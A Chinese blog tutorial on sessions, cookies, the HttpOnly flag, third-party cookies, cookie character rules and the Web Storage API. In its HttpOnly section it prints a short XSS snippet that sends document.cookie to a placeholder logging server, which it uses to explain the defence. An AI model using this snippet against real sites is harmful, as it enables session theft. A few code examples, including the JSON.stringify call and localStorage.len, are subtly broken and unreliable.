术→技巧, 研发

Session,Cookie,LocalStorage 与 SessionStorage

钱魏Way · · 134 次浏览

什么是Session?

在计算机科学领域来说,尤其是在网络领域,session是一种持久网络协议,在用户(或用户代理)端和服务器端之间创建关联,从而起到交换数据包的作用机制,session在网络协议(例如telnet或FTP)中是非常重要的部分。在不包含会话层(例如UDP)或者是无法长时间驻留会话层(例如HTTP)的传输协议中,session的维持需要依靠在传输数据中的高级别程序。

session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。当程序需要为某个客户端的请求创建一个session时,服务器首先检查这个客户端的请求里是否已包含了一个session标识(称为session id),如果已包含则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用(检索不到,会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。

什么是Cookie?

Cookie是服务器在本地机器上存储的小段文本并随每一个请求发送至同一个服务器。IETF RFC 2965 HTTP State Management Mechanism 是通用cookie规范。具体来说cookie机制采用的是在客户端保持状态的方案。它是在用户端的会话状态的存贮机制。cookie的作用就是为了解决HTTP协议无状态的缺陷所作的努力。网络服务器用HTTP头向客户端发送cookie,在客户终端,浏览器解析这些cookie并将它们保存为一个本地文件,它会自动将同一服务器的任何请求缚上这些cookie。

正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。纯粹的客户端脚本如JavaScript也可以生成cookie。而cookie的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。

cookie的内容主要包括:名字,值,过期时间,路径和域。路径与域一起构成cookie的作用范围。若不设置过期时间,则表示这个cookie的生命期为浏览器会话期间,关闭浏览器窗口,cookie就消失。这种生命期为浏览器会话期的cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里,当然这种行为并不是规范规定的。若设置了过期时间,浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie仍然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存里的cookie,不同的浏览器有不同的处理方式。

Session和Cookie的区别和联系

session机制采用的是一种在服务器端保持状态的解决方案。同时我们也看到,由于采用服务器端保持状态的方案在客户端也需要保存一个标识,所以session机制可能需要借助于cookie机制来达到保存标识的目的。而session提供了方便管理全局变量的方式 。

session是针对每一个用户的,变量的值保存在服务器上,用一个sessionID来区分是哪个用户session变量,这个值是通过用户的浏览器在访问的时候返回给服务器,当客户禁用cookie时,这个值也可能设置为由get来返回给服务器。

由于http的无状态性,为了使某个域名下的所有网页能够共享某些数据,session和cookie出现了。客户端访问服务器的流程如下

  • 首先,客户端会发送一个http请求到服务器端。
  • 服务器端接受客户端请求后,建立一个session,并发送一个http响应到客户端,这个响应头,其中就包含Set-Cookie头部。该头部包含了sessionId。Set-Cookie格式如下: Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]
  • 在客户端发起的第二次请求,假如服务器给了set-Cookie,浏览器会自动在请求头中添加cookie
  • 服务器接收请求,分解cookie,验证信息,核对成功后返回response给客户端

注意:

  • cookie只是实现session的其中一种方案。虽然是最常用的,但并不是唯一的方法。禁用cookie后还有其他方法存储,比如放在url中
  • 现在大多都是Session + Cookie,但是只用session不用cookie,或是只用cookie,不用session在理论上都可以保持会话状态。可是实际中因为多种原因,一般不会单独使用
  • 用session只需要在客户端保存一个id,实际上大量数据都是保存在服务端。如果全部用cookie,数据量大的时候客户端是没有那么多空间的。
  • 如果只用cookie不用session,那么账户信息全部保存在客户端,一旦被劫持,全部信息都会泄露。并且客户端数据量变大,网络传输的数据量也会变大

Cookie的安全防护 HttpOnly

Http是无状态的协议,为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。

对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:

url = document.top.location.href;
cookie = document.cookie;
c = new Image();
c.src = "http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;

有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。

那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。

下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):

Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

目前主流的浏览器基本上已经都支持了Http-Only属性。

第一方Cookie和第三方Cookie

Cookie通常可以分为两类,第一方Cookie和第三方Cookie,第一方Cookie和第三方Cookie,都是网站在客户端上存放的一小块数据。他们都由某个域存放,只能被这个域访问。他们的区别其实并不是技术上的区别,而是使用方式上的区别。比如,访问www.a.com这个网站,这个网站设置了一个Cookie,这个Cookie也只能被www.a.com 这个域下的网页读取,这就是第一方Cookie。如果还是访问www.a.com这个网站,网页里有用到www.b.com网站的一张图片,浏览器在 www.b.com请求图片的时候,www.b.com设置了一个Cookie,那这个Cookie只能被www.b.com这个域访问,反而不能被 www.a.com这个域访问,因为对我们来说,我们实际是在访问www.a.com这个网站被设置了一个www.b.com这个域下的Cookie,所以叫第三方Cookie。

第一方Cookie和第三方Cookie在数据统计时的应用:

  • 第一方Cookie:第一方Cookie的最大优势是接受率高。一般主流的浏览器的都会有隐私的设置,可以让用户设置是否接受Cookie,接受哪些Cookie。除了完全不接受Cookie这个设置以外,其他情况下,第一方Cookie都是会被用户接受的。所以,如果没有特殊要求,使用第一方Cookie会比第三方Cookie,我们通过分析工具得到的数据会更准确。
  • 第三方Cookie:第三方Cookie的接受率不如第一方Cookie(不过主流的浏览器默认的设置下也接受带P3P协议的第三方Cookie,受率能达 到90%,甚至95%以上),但在某些特定情况下可以实现第一方Cookie无法实现的功能。比如,当我们有多个域名的网站需要跟踪,我们希望了解到用户点击某个广告到达域名A下的网页,然后可能浏览了不论那个域名下的页面,最后在域名B下的网页完成注册的情况。广告可以在域名A下的网页被跟踪到,而注册可以在域名B下的网页跟踪到。如果我们使用第一方Cookie,会为域名A建立一个Cookie,为域名B再建立一个Cookie,他们可以关联各自域名下网页上的行为,但是无法关联起来。而使用第三方Cookie,那么无论多少个域,都只有一个Cookie,一个属于第三方域的Cookie,网站下所有域都能共享这个Cookie,那么所有的行为都能被关联起来分析。

对于通过脚本型的网站分析工具来获取数据:

  • Cookie是必须的,离开Cookie我们什么也分析不了
  • 第一方Cookie接受率高,更准确,没有特殊需要就用他
  • 第三方Cookie可以跨域跟踪,特别需求可以应用

Cookie与特殊字符

这是一个发生在自己身上的故事,由于Cookie值中设置了一个特殊字符,导致部分手机由于兼容性问题在打开站点时产生5xx错误,经分析Cookie中的字符并不被部分Android手机机型支持。

为什么会出现这样的情况?我们先来看下关于使用Cookie的一些注意事项:

Cookie的兼容性问题

Cookie的格式有2个不同的版本,第一个版本,我们称为Cookie Version 0,是最初由Netscape公司制定的,也被几乎所有的浏览器支持。而较新的版本,Cookie Version 1,则是根据RFC 2109文档制定的。

同样的Cookie的内容的字符限制针对不同的Cookie版本也有不同。在Cookie Version 0中,某些特殊的字符,例如:空格,方括号,圆括号,等于号(=),逗号,双引号,斜杠,问号,@符号,冒号,分号都不能作为Cookie的内容。虽然在Cookie Version 1规定中放宽了限制,可以使用这些字符,但是考虑到新版本的Cookie规范目前仍然没有为所有的浏览器所支持,因而为保险起见,我们应该在Cookie的内容中尽量避免使用这些字符。

RFC2109 制定的规范:

4.1  Syntax:  General

   The two state management headers, Set-Cookie and Cookie, have common
   syntactic properties involving attribute-value pairs.  The following
   grammar uses the notation, and tokens DIGIT (decimal digits) and
   token (informally, a sequence of non-special, non-white space
   characters) from the HTTP/1.1 specification [RFC 2068] to describe
   their syntax.

   av-pairs        =       av-pair *(";" av-pair)
   av-pair         =       attr ["=" value]        ; optional value
   attr            =       token
   value           =       word
   word            =       token | quoted-string

   Attributes (names) (attr) are case-insensitive.  White space is
   permitted between tokens.  Note that while the above syntax
   description shows value as optional, most attrs require them.

   NOTE: The syntax above allows whitespace between the attribute and
   the = sign.

RFC 2068 制定的规范:

Many HTTP/1.1 header field values consist of words separated by LWS
   or special characters. These special characters MUST be in a quoted
   string to be used within a parameter value.

          token          = 1*<any CHAR except CTLs or tspecials>

          tspecials      = "(" | ")" | "<" | ">" | "@"
                         | "," | ";" | ":" | "\" | <">
                         | "/" | "[" | "]" | "?" | "="
                         | "{" | "}" | SP | HT

忠告,Cookie中永远不要存特殊字符,如果需要也要进行编码以后再使用。

LocalStorage与sessionStorage

html5 中的 Web Storage 包括了两种存储方式:sessionStorage 和 localStorage。 sessionStorage 用于本地存储一个会话(session)中的数据,这些数据只有在同一个会话中的页面才能访问,会话结束后数据也随之销毁。localStorage 用于存储一个域名下的需要永久存在本地的数据,这些数据可以被一直访问,直到这些数据被删除。因此sessionStorage 和 localStorage 的主要区别在于他们存储数据的生命周期,sessionStorage 存储的数据的生命周期是一个会话,而 localStorage 存储的数据的生命周期是永久,直到被主动删除,否则数据永远不会过期的。

Web Storage 和 cookie 的异同点及优劣势

Web Storage 和 cookie 有许多相同之处:

  • 它们都可以用于存储用户数据
  • 它们存储数据的格式都是字符串形式
  • 它们存储的数据都有大小限制

Web Storage 和 cookie 也有不同之处:

  • 它们的生命周期不同。sessionStorage 的生命周期是一个会话,localStorage的生命周期是永久,cookie 的生命周期可以自定义,cookie 可以设置过期时间,数据在过期时间之前可以访问。
  • 它们的存储大小限制不同。大部分现代浏览器 Storage 的存储限制大小为 5M,cookie 的存储大小限制 为 4K。
  • 浏览器支持不同,API 调用方式不同。

相比 cookie ,Web Storage 的优点主要表现在存储空间更大,可存储的内容更大。cookie每次都随请求数据发送到服务器端,Web Storage不会和请求数据一同发送到服务器端,占用带宽更少。缺点主要表现在,现在所有浏览器都支持 cookie 操作,而只有现在浏览器才支持 Web Storage 操作,如果需要兼容老旧浏览器,就不能使用 Web Storage。

Web Storage API

localStorage 和 sessionStorage 有着统一的API接口,这为二者的操作提供了极大的便利。下面以 localStorage 为例来介绍一下 API 接口使用方法,同样这些接口也适用于 sessionStorage。

添加键值对

localStorage.setItem(key, value)setItem 用于把值 value 存储到键key上,除了使用 setItem ,还可以使用 localStorage.key = value 或者 localStorage[‘key’] = value 这两种形式。另外需要注意的是,key和value值必须是字符串形式的,如果不是字符串,会调用它们相应的toString() 方法来转换成字符串再存储。当我们要存储对象是,应先转换成我们可识别的字符串格式(比如JSON格式)再进行存储。

// 把一个用户名(lilei)存储到 name 的键上
localStorage.setItem('name', 'lilei');
// localStorage.name = 'lilei';
// localStorage['name'] = 'lilei';
// 把一个用户存储到user的键上
localStorage.setItem('user', JSON.stringify(id:1, name:'lilei'));

获取键值

localStorage.getItem(key)getItem 用于获取键 key 对应的数据,和 setItem 一样,getItem 也有两种等效形式 value = localStorage.key和 value = localStorage[‘key’] 。获取到的 value 值是字符串类型,如果需要其他类型,要做手动的类型转换。

// 获取存储到 name 的键上的值
var name = localStorage.getItem('name');
// var name = localStorage.name;
// var name = localStorage['name'];
// 获取存储到user的键上的值
var user = JSON.parse(localStorage.getItem('user'));

删除键值对

localStorage.removeItem(key)removeItem 用于删除指定键的项,localStorage 没有数据过期的概念,所有数据如果失效了,需要开发者手动删除。

var name = localStorage.getItem('name'); // 'lilei'
// 删除存储到 name 的键上的值
localStorage.removeItem('name');
name = localStorage.getItem('name'); // null

清除所有键值对

localStorage.clear()clear 用于删除所有存储的内容,它和removeItem不同的地方是removeItem 删除的是某一项,而clear是删除所有。

// 清除 localStorage
localStorage.clear();
var len = localStorage.length; // 0

获取 localStorage 的属性名称(键名称)

localStorage.key(index)key 方法用于获取指定索引的键名称。需要注意的是赋值早的键值对应的索引值大,赋值完的键值对应的索引小, key方法可用于遍历 localStorage 存储的键值。

localStorage.setItem('name','lilei');
var key = localStorage.key(0); // 'name'
localStorage.setItem('age', 10);
key = localStorage.key(0); // 'age'
key = localStorage.key(1); // 'name'

获取 localStorage 中保存的键值对的数量

localStorage.lengthlength 属性用于获取 localStorage 中键值对的数量。

localStorage.setItem('name','lilei');
var len = localStorage.len; // 1
localStorage.setItem('age', 10);
len = localStorage.len; // 2

Web Storage 事件

storage 事件当存储的数据发生变化时,会触发 storage 事件。但要注意的是它不同于click类的事件会事件捕获和冒泡,storage 事件更像是一个通知,不可取消。触发这个事件会调用同域下其他窗口的storage事件,不过触发storage的窗口(即当前窗口)不触发这个事件。storage 的 event 对象的常用属性如下:

  • oldValue:更新前的值。如果该键为新增加,则这个属性为null。
  • newValue:更新后的值。如果该键被删除,则这个属性为null。
  • url:原始触发storage事件的那个网页的网址。
  • key:存储store的key名
function storageChanged() {
    console.log(arguments);
}

window.addEventListener('storage', storageChanged, false);

Web Storage应用场景

因为考虑到每个 HTTP 请求都会带着 Cookie 的信息,所以 Cookie 当然是能精简就精简,比较常用的一个应用场景就是判断用户是否登录。针对登录过的用户,服务器端会在他登录时往 Cookie 中插入一段加密过的唯一辨识单一用户的辨识码,下次只要读取这个值就可以判断当前用户是否登录啦。

有了对上面这些差别的直观理解,我们就可以讨论三者的应用场景了。

由于 Web Storage 的特点,它主要被用于储存一些不经常改动的,不敏感的数据,比如全国省市区县信息。还可以存储一些不太重要的跟用户相关的数据,比如说用户的头像地址、主题颜色、购物车数据等,这些信息可以先存储在用户本地一份,便于快速呈现,等真正从服务器端读取成功后再更改头像地址,主题颜色。另外,基于 storage 事件特点,Web Storage 还可以用于同域不同窗口间的通信。

参考链接:

发表评论

邮箱地址不会被公开。 必填项已用*标注